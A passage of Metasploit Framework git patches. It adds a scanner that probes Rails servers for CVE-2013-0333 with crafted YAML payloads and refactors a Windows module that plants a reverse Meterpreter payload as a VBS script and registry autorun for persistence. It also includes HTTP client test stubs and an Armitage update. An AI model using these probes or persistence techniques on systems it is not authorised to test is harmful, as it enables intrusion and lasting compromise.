return an encoded query string" do + pending excuse_lazy :set_encode_qa + end + + # These set_ methods all exercise the evasion opts, looks like + + it "should set and return the URI" do + pending excuse_lazy :set_uri + end + + it "should set and return the CGI" do + pending excuse_lazy :set_cgi + end + + it "should set and return the HTTP verb" do + pending excuse_lazy :set_method + end + + it "should set and return the version string" do + pending excuse_lazy :set_version + end + + it "should set and return the HTTP seperator and body string" do + pending excuse_lazy :set_body + end + + it "should set and return the path" do + pending excuse_lazy :set_path_info + end + + it "should set and return the whitespace between method and URI" do + pending excuse_lazy :set_method_uri_spacer + end + + it "should set and return the whitespace between the version and URI" do + pending excuse_lazy :set_uri_version_spacer + end + + it "should set and return padding before the URI" do + pending excuse_lazy :set_uri_prepend + end + + it "should set and return padding after the URI" do + cli.set_uri_append.should be_empty + end + + it "should set and return the host header" do + pending excuse_lazy :set_host_header + end + + it "should set and return the agent header" do + pending excuse_lazy :set_agent_header + end + + it "should set and return the cookie header" do + pending excuse_lazy :set_cookie_header + end + + + it "should set and return the content-type header" do + pending excuse_lazy :set_cookie_header + end + + it "should set and return the content-length header" do + pending excuse_lazy :set_content_len_header + end + + it "should set and return the basic authentication header" do + pending excuse_lazy :set_basic_auth_header + end + + it "should set and return any extra headers" do + pending excuse_lazy :set_extra_headers + end + + it "should set the chunked encoding header" do + pending excuse_lazy :set_chunked_header + end + + it "should set and return raw_headers" do + pending "#set_raw_headers() doesn't seem to actually do anything" + end + + it "should set and return a formatted header" do + pending :set_formatted_header + end + + it "should respond to its various accessors" do + cli.should respond_to :config + cli.should respond_to :config_types + cli.should respond_to :pipeline + cli.should respond_to :local_host + cli.should respond_to :local_port + cli.should respond_to :conn + cli.should respond_to :context + cli.should respond_to :proxies + cli.should respond_to :username + cli.should respond_to :password + cli.should respond_to :junk_pipeline + # These are supposed to be protected + cli.should respond_to :ssl + cli.should respond_to :ssl_version + cli.should respond_to :hostname + cli.should respond_to :port + end + + # Not super sure why these are protected... + it "should refuse access to its protected accessors" do + expect {cli.ssl}.to raise_error NoMethodError + expect {cli.ssl_version}.to raise_error NoMethodError + expect {cli.hostname}.to raise_error NoMethodError + expect {cli.port}.to raise_error NoMethodError + end + +end From ddd7d307e6e5f917744e0b2c8da59eb79667b103 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 16:48:44 -0600 Subject: [PATCH 200/448] Add a scanner aux module for Rails JSON/YAML vuln CVE-2013-0333 --- .../scanner/http/rails_json_yaml_scanner.rb | 101 ++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb new file mode 100644 index 0000000000..64c67cf86b --- /dev/null +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -0,0 +1,101 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Scanner', + 'Description' => %q{ + This module attempts to identify Ruby on Rails instances vulnerable to + an arbitrary object instantiation flaw in the JSON request processor. + }, + 'Author' => [ + 'jjarmoc', # scanner module + 'hdm' # CVE-2013-0156 scanner, basis of this technique. + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0333'], + ] + )) + + register_options([ + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT']]), + ], self.class) + end + + def send_probe(pdata) + res = send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/json', + 'data' => pdata + }, 25) + end + + def run_host(ip) + + # Straight JSON as a baseline + res1 = send_probe( + "{ \"#{Rex::Text.rand_text_alpha(rand(8)+1)}\" : \"#{Rex::Text.rand_text_alpha(rand(8)+1)}\" }" + ) + + unless res1 + vprint_status("#{rhost}:#{rport} No reply to the initial JSON request") + return + end + + if res1.code.to_s =~ /^[5]/ + print_error("#{rhost}:#{rport} The server replied with #{res1.code} for our initial JSON request") + print_error("\t\tDouble check URIPATH and HTTP_METHOD") + return + end + + # Deserialize a hash, this should work if YAML deserializes. + res2 = send_probe("--- {}\n".gsub(':', '\u003a')) + + unless res2 + vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") + return + end + + # Deserialize a malformed object, inducing an error. + res3 = send_probe("--- !ruby/object:\x00".gsub(':', '\u003a')) + + unless res3 + vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") + return + end + + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") + + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) + # If first and second requests are the same, and the third is different but not a 200, we're vulnerable. + print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => "Module triggered a #{res3.code} reply", + :refs => self.references + }) + else + # Otherwise we're not likely vulnerable. + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + end + end + +end \ No newline at end of file From 97edbb786898e3edaab81b6c77b0cbef99397779 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 12 Feb 2013 00:58:26 +0100 Subject: [PATCH 201/448] using always a vbs file to drop exe --- modules/exploits/windows/local/persistence.rb | 46 +++---------------- 1 file changed, 7 insertions(+), 39 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 126b94e3f5..bdf9e7b822 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -59,28 +59,19 @@ class Metasploit3 < Msf::Exploit::Local def exploit print_status("Running module against #{sysinfo['Computer']}") - rexe = datastore['EXE::Custom'] rexename = datastore['REXENAME'] delay = datastore['DELAY'] reg_val = datastore['REG_NAME'] - template_pe = datastore['EXE::Template'] @clean_up_rc = "" host,port = session.session_host, session.session_port - if rexe.nil? - script = create_script(delay, template_pe) - script_on_target = write_script_to_target(script,rexename) - if script_on_target == nil - # exit the module because we failed to write the file on the target host. - return - end - else - alt_pay_exe = get_custom_exe - script_on_target = write_exe_to_target(alt_pay_exe, rexename) - if script_on_target == nil - # exit the module because we failed to write the file on the target host. - return - end + exe = generate_payload_exe + script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) + script_on_target = write_script_to_target(script,rexename) + + if script_on_target == nil + # exit the module because we failed to write the file on the target host. + return end # Initial execution of script @@ -228,27 +219,4 @@ class Metasploit3 < Msf::Exploit::Local end end - # Writesexecutable to target host - #------------------------------------------------------------------------------- - def write_exe_to_target(exe_raw, rexename) - if rexename.nil? - exe_name = Rex::Text.rand_text_alpha(rand(8)+8) - else - exe_name = rexename - end - - tempdir = session.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + exe_name + ".exe" - begin - fd = session.fs.file.new(tempexe, "wb") - fd.write(exe_raw) - fd.close - print_good("Persistent executable written to #{tempexe}") - @clean_up_rc << "rm #{tempexe}\n" - rescue - print_error("Failed to write the payload on the target.") - tempexe = nil - end - return tempexe - end end From 42a6d96ff45a4e6eb1303328698d51a9ef502d95 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 12 Feb 2013 01:33:07 +0100 Subject: [PATCH 202/448] using Post::File methods plus little more cleanup --- modules/exploits/windows/local/persistence.rb | 28 +++---------------- 1 file changed, 4 insertions(+), 24 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index bdf9e7b822..4c2dcaca1f 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -26,11 +26,10 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'Windows Manage Persistent Payload Installer', 'Description' => %q{ - This Module will create a boot persistent reverse Meterpreter session by + This Module will create a boot persistent reverse Meterpreter session by installing on the target host the payload as a script that will be executed at user logon or system startup depending on privilege and selected startup method. - }, 'License' => MSF_LICENSE, 'Author' => @@ -54,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Local end - # Exploit Method for when run command is issued - #------------------------------------------------------------------------------- + # Exploit Method for when exploit command is issued def exploit print_status("Running module against #{sysinfo['Computer']}") @@ -114,20 +112,7 @@ class Metasploit3 < Msf::Exploit::Local ) end - # Creates persistent script - #------------------------------------------------------------------------------- - def create_script(delay, altexe) - if not altexe.nil? - vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay}) - end - print_status("Persistent agent script is #{vbs.length} bytes long") - return vbs - end - # Function for creating log folder and returning log path - #------------------------------------------------------------------------------- def log_file(log_path = nil) #Get hostname host = session.sys.config.sysinfo["Computer"] @@ -151,18 +136,15 @@ class Metasploit3 < Msf::Exploit::Local end # Writes script to target host - #------------------------------------------------------------------------------- def write_script_to_target(vbs,name) - tempdir = session.fs.file.expand_path("%TEMP%") + tempdir = expand_path("%TEMP%") if name == nil tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" end begin - fd = session.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close + write_file(tempvbs, vbs) print_good("Persistent Script written to #{tempvbs}") @clean_up_rc << "rm #{tempvbs}\n" rescue @@ -174,7 +156,6 @@ class Metasploit3 < Msf::Exploit::Local end # Executes script on target and return the PID of the process - #------------------------------------------------------------------------------- def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") @@ -193,7 +174,6 @@ class Metasploit3 < Msf::Exploit::Local end # Installs payload in to the registry HKLM or HKCU - #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target, registry_value) # Lets start to assume we had success. write_success = true From 596b62b831d0b1cf2d887c9f56b127f38bc5a179 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Mon, 11 Feb 2013 21:20:03 -0500 Subject: [PATCH 203/448] Armitage 02.12.13 - Distributed Operations This update adds the ability to manage multiple team server instances through one Armitage client. This update also adds nickname completion to the event log. Several bug fixes are included too. --- data/armitage/armitage.jar | Bin 3201422 -> 3213215 bytes data/armitage/cortana.jar | Bin 3201417 -> 3213210 bytes data/armitage/whatsnew.txt | 23 ++ external/source/armitage/resources/about.html | 2 +- .../armitage/scripts-cortana/internal.sl | 3 + external/source/armitage/scripts/armitage.sl | 24 +- .../source/armitage/scripts/collaborate.sl | 4 + external/source/armitage/scripts/gui.sl | 55 ++-- external/source/armitage/scripts/hosts.sl | 4 +- external/source/armitage/scripts/log.sl | 14 +- external/source/armitage/scripts/menus.sl | 14 +- external/source/armitage/scripts/passhash.sl | 45 +++- external/source/armitage/scripts/pivots.sl | 4 +- external/source/armitage/scripts/reporting.sl | 32 +-- external/source/armitage/scripts/server.sl | 61 ++--- external/source/armitage/scripts/targets.sl | 13 +- external/source/armitage/scripts/util.sl | 40 +-- .../src/armitage/ArmitageApplication.java | 43 +++- .../armitage/src/armitage/ArmitageBuffer.java | 138 ++++++++++ .../armitage/src/armitage/ArmitageMain.java | 35 ++- .../src/armitage/EventLogTabCompletion.java | 60 +++++ .../source/armitage/src/msf/DatabaseImpl.java | 10 +- .../source/armitage/src/msf/RpcAsync.java | 2 +- .../armitage/src/msf/RpcConnectionImpl.java | 28 +++ .../source/armitage/src/msf/RpcQueue.java | 2 +- .../armitage/src/table/NetworkTable.java | 16 +- .../source/armitage/src/ui/MultiFrame.java | 238 ++++++++++++++++++ external/source/armitage/whatsnew.txt | 23 ++ 28 files changed, 766 insertions(+), 167 deletions(-) create mode 100644 external/source/armitage/src/armitage/ArmitageBuffer.java create mode 100644 external/source/armitage/src/armitage/EventLogTabCompletion.java create mode 100644 external/source/armitage/src/ui/MultiFrame.java diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 153f8f95c0a3a630595e86b91d6525cd8b693519..81c949a109ac3c80b8d548f63b2d1a95ddbb839e 100755 GIT binary patch delta 119098 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 